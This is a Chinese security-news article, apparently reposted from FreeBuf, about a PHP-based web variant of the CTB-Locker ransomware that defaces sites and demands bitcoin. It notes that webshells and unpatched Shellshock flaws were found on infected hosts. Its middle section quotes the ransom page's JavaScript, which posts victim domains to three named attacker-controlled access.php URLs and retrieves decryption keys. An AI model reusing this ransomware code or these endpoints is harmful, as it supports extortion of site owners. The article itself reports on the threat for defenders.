0

0

Web版勒索软件CTB-Locker PHP源码现身GitHub

php中文网

php中文网

发布时间:2016-06-23 13:15:26

|

1125人浏览过

|

来源于php中文网

原创

勒索软件CTB-Locker出现其Web演化版本,可感染网页站点。据分析,其编码为采用PHP编写,目前源码已被托管至GitHub上。

Web版勒索软件CTB-Locker的首次出现

就在今年西方情人节前夕,英国的一位站长却有一个不愉快的发现,他查看到其管理的网站页面遭受篡改,篡改页面上呈现的信息看起来跟电脑感染恶意勒索软件的情形相似,其主要信息是让站点管理员支付比特币,换取相应目录文件的解密,以便使站点恢复正常。篡改页面如下图,

立即学习PHP免费学习笔记(深入)”;

在被验证为首次针对网页的勒索事件后,该事件便得到极大的关注。但其实作为服务器管理员来说,开始都只是希望这仅仅是一次性事件,而不是攻击者预谋的开端。

在初始阶段,实际上并无发现其他感染事件,而情况在过去的一个星期中有了极大的转变。在这段时间内频繁出现上述的网页勒索感染事件。据悉,到目前有超过100个同类型事件被发现。在篡改的信息中其幕后操纵者要求受害者支付0.4个比特币,并且如在两天内未完成支付,支付额度将提升至0.8个比特币。以下为其要求支付比特币的源码:

<script>admins = ["http://orangecountyplasterandstucco.com/access.php", "http://klinika-redwhite.com/access.php", "http://charoenpan.com/access.php"];iadmin = 0;domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);function post_admin(postdata, onsuccess) {   $.post(admins[iadmin], postdata+"&domain="+domain, function (data) {         if (data["status"] == "success") {            onsuccess(data);         } else {            alert(data["status"]);         }      }, 'json'   ).fail(function() {      alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again');      iadmin = (iadmin + 1) % 3;   });}$('#decrypt').click(function() {   post_admin("decrypt=", function(data) {      alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!');      url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');      window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];   });});$('#dectest').click(function() {   post_admin("dectest=&secret="+($("#secret").val()), function(data) {      alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!');      url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');      window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"];   });});$('#sendmsg').click(function() {   msg = "&msg=" + encodeURIComponent($("#chatmsg").val());   post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) {      alert('Thank you for feedback!');   });});$('#recvmsg').click(function() {   post_admin("recvmsg=&secret="+$("#secret").val(), function(data) {      $("#chatmsg").val(data["answer"]);   });});   </script>

该勒索程序在勒索支付通知上,跟CTB-Locker为同一模型。但单单从技术上来看,这跟“声名远扬”的CTB-Locker勒索软件的情况不符。因其仅运行于Windows桌面环境,而并无法运行在 Linux Web服务器上。

Web版CTB-Locker采用PHP编写

来自 Stormshield的安全分析员Benkow,设法分析勒索软件的运行模式并从一个受感染的对象提取到了源代码。随后,Benkow将Web版CTB-Locker 源码上传至 KernelMode 论坛上,供其他安全研究人员分析和研究。而Web版CTB-Locker的“知名度”便迅速提升,其源码也被托管至GitHub。

源代码地址请点击: GitHub

Unscreen
Unscreen

AI智能视频背景移除工具

下载

考虑到,此前勒索软件Hidden Tear源码也托管至GitHub,但事情最终却没有朝着有利于用户的方向进展。而结合当前的情形,可以预见,在接下来的数个月中,将可能出现大规模的针对网页站点进行的攻击感染。

而据Benkow的研究分析,Web版CTB-Locker是采用PHP编写,其中使用高强度的AES-256加密算法。具体可参考 GitHub上的源码。

感染点目前仍然未知

目前尚未发现该勒索程序如何感染服务器主机的。其中值得注意的是,从统计的情况来看,受感染的主机运行Linux和Windows双系统,他们中的绝大多数(73%)主机启用着Exim 服务(SMTP服务器)。Benkow也补充解释说,

其中大部分主机均运行着一个webshell,其可通过 ‘logout.php’动态页面进行访问。

此外,许多感染的站点被发现仍然存在Shellshock漏洞,而该漏洞实际上在一年多以前已经发布了补丁。从统计的情况来看,其中存在较大的问题是大部分站点往往忽略了自身站点的漏洞问题,未能对其进行修复,导致这些漏洞可能被攻击者所利用。

此前也出现过勒索软件感染Web服务器事件

在2015年的12月份,安全研究人员发现Linux.Encoder勒索软件家族已经有了针对Web服务器的功能,据研究分析,Linux.Encoder是采用 C 以及C++进行编写,而其跟Web版CTB-Locker并无关联。

结语

在日益严峻的安全形势下,站点的管理员应将自身站点版本更新到最新。同时在可能的情况下,应使用多种扫描工具交叉检测,对管理的站点进行漏洞扫描,以便及时发现漏洞并进行修复加固。

*参考来源: soft 、 github 、 ker ,FB小编troy编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
pixiv网页版官网登录与阅读指南_pixiv官网直达入口与在线访问方法
pixiv网页版官网登录与阅读指南_pixiv官网直达入口与在线访问方法

本专题系统整理pixiv网页版官网入口及登录访问方式,涵盖官网登录页面直达路径、在线阅读入口及快速进入方法说明,帮助用户高效找到pixiv官方网站,实现便捷、安全的网页端浏览与账号登录体验。

705

2026.02.13

微博网页版主页入口与登录指南_官方网页端快速访问方法
微博网页版主页入口与登录指南_官方网页端快速访问方法

本专题系统整理微博网页版官方入口及网页端登录方式,涵盖首页直达地址、账号登录流程与常见访问问题说明,帮助用户快速找到微博官网主页,实现便捷、安全的网页端登录与内容浏览体验。

233

2026.02.13

Flutter跨平台开发与状态管理实战
Flutter跨平台开发与状态管理实战

本专题围绕Flutter框架展开,系统讲解跨平台UI构建原理与状态管理方案。内容涵盖Widget生命周期、路由管理、Provider与Bloc状态管理模式、网络请求封装及性能优化技巧。通过实战项目演示,帮助开发者构建流畅、可维护的跨平台移动应用。

117

2026.02.13

TypeScript工程化开发与Vite构建优化实践
TypeScript工程化开发与Vite构建优化实践

本专题面向前端开发者,深入讲解 TypeScript 类型系统与大型项目结构设计方法,并结合 Vite 构建工具优化前端工程化流程。内容包括模块化设计、类型声明管理、代码分割、热更新原理以及构建性能调优。通过完整项目示例,帮助开发者提升代码可维护性与开发效率。

22

2026.02.13

Redis高可用架构与分布式缓存实战
Redis高可用架构与分布式缓存实战

本专题围绕 Redis 在高并发系统中的应用展开,系统讲解主从复制、哨兵机制、Cluster 集群模式及数据分片原理。内容涵盖缓存穿透与雪崩解决方案、分布式锁实现、热点数据优化及持久化策略。通过真实业务场景演示,帮助开发者构建高可用、可扩展的分布式缓存系统。

61

2026.02.13

c语言 数据类型
c语言 数据类型

本专题整合了c语言数据类型相关内容,阅读专题下面的文章了解更多详细内容。

30

2026.02.12

雨课堂网页版登录入口与使用指南_官方在线教学平台访问方法
雨课堂网页版登录入口与使用指南_官方在线教学平台访问方法

本专题系统整理雨课堂网页版官方入口及在线登录方式,涵盖账号登录流程、官方直连入口及平台访问方法说明,帮助师生用户快速进入雨课堂在线教学平台,实现便捷、高效的课程学习与教学管理体验。

15

2026.02.12

豆包AI网页版入口与智能创作指南_官方在线写作与图片生成使用方法
豆包AI网页版入口与智能创作指南_官方在线写作与图片生成使用方法

本专题汇总豆包AI官方网页版入口及在线使用方式,涵盖智能写作工具、图片生成体验入口和官网登录方法,帮助用户快速直达豆包AI平台,高效完成文本创作与AI生图任务,实现便捷智能创作体验。

669

2026.02.12

PostgreSQL性能优化与索引调优实战
PostgreSQL性能优化与索引调优实战

本专题面向后端开发与数据库工程师,深入讲解 PostgreSQL 查询优化原理与索引机制。内容包括执行计划分析、常见索引类型对比、慢查询优化策略、事务隔离级别以及高并发场景下的性能调优技巧。通过实战案例解析,帮助开发者提升数据库响应速度与系统稳定性。

58

2026.02.12

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号